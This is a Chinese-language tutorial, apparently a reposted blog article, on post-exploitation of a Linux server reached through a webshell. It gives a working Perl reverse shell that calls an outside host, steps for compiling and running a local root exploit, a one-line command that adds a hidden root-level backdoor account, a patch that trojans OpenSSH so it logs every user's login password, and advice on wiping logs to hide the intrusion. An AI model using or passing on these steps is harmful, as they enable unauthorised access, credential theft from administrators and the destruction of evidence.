Linux低權限用戶記錄ssh密碼


0x01 場景

現在有個攻擊場景,就是你拿到了linux外網服務器的webshell,要做內網滲透前肯定要收集信息。其中可以做的一個工作是重新編譯ssh來記錄管理員的密碼信息,信息可以用來撞其他機器的密碼。下面就從linux的提權開始

 

 

0x02 過程

反彈shell

linux下為啥要反彈出一個shell來提權,這個你可以用webshell來執行一次溢出exp

自己外網服務器 nc -l -vv -p 1234 ,監聽1234端口

webshell如果能訪問外網,則用bash,python,perl等腳本反向連接。把代碼寫入/tmp/(也可以是其他目錄)並執行。例如perl代碼

Perl

use Socket;$i="www.hackblog.cn" //外網服務器地址,可以是IP$p=1234; //反向連接端口

socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){

open(STDIN,">&S");open(STDOUT,">&S");

open(STDERR,">&S");exec("/bin/sh -i");};

 

 

/tmp/寫入找到的exp源文件,利用webshell或者反彈過來的shell編譯,gcc -o root.out exp.c

賦予 root.out 執行權限, chmod +x root.out

用反彈shell執行exp,完成后查看當前權限 ./root.out

 

 

 

 

 

 

 

 

重新編譯ssh

 

 

 

第一步順利的話就可以直接一句話加一個自己的賬戶了

 

Bash

useradd -p `openssl passwd -1 -salt 'xxx' luo` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/luo luo  //一句添加賬戶密碼luo:luo

 

 

ssh登陸上去,cat /etc/passwd 看看都有哪些賬戶,然后last看看最近都哪些鬼登陸了。既然shadow不好破解,那么我想在這些賬戶下一次登陸的時候記錄他們的密碼怎么辦。參考百度上的文章,大概修改一下步驟,提幾句注意事項。

 

備份原來的sshmv /etc/ssh /etc/ssh_bak

下載ssh源文件。網上用的6.6,我看版本不是很舊,就直接用

wget http://openbsd.cs.toronto.edu/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz

tar -zxvf openssh-6.6p1.tar.gz 解壓后進入解壓出的目錄

vi auth-passwd.c 編輯這個文件,查找auth_password這個函數,在函數的第一行加入一句

logit("username: %s password: %s", authctxt->user, password);

保存之后

./configure --sysconfdir=/etc/ssh --without-zlib-version-check  --with-md5-passwords

 

make

make install

重啟ssh服務

service ssh restart

 

 

接下來,通過ssh不管登陸成功和失敗都會把賬號密碼記錄在日志里。這個日志在/var/log/下,Ubuntu的是auth.log,其他系統可以看日志最后修改的時間,隨便翻翻最新的日志就行。過一段時間就找到日志看看有木有魚兒上鈎。建議先清空日志,這樣下次有登陸信息就可以很方便的觀察到文件大小的變化。

 

 

 

注意事項


滲透最后工作就是清除自己的痕跡了。可以echo >/var/log/xxx 這么清除。千萬別直接刪除日志文件,這樣的話就不會再自動生成日志了,即使新建一個同名文件也不行。如果你已經刪了,請自行百度解決辦法。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM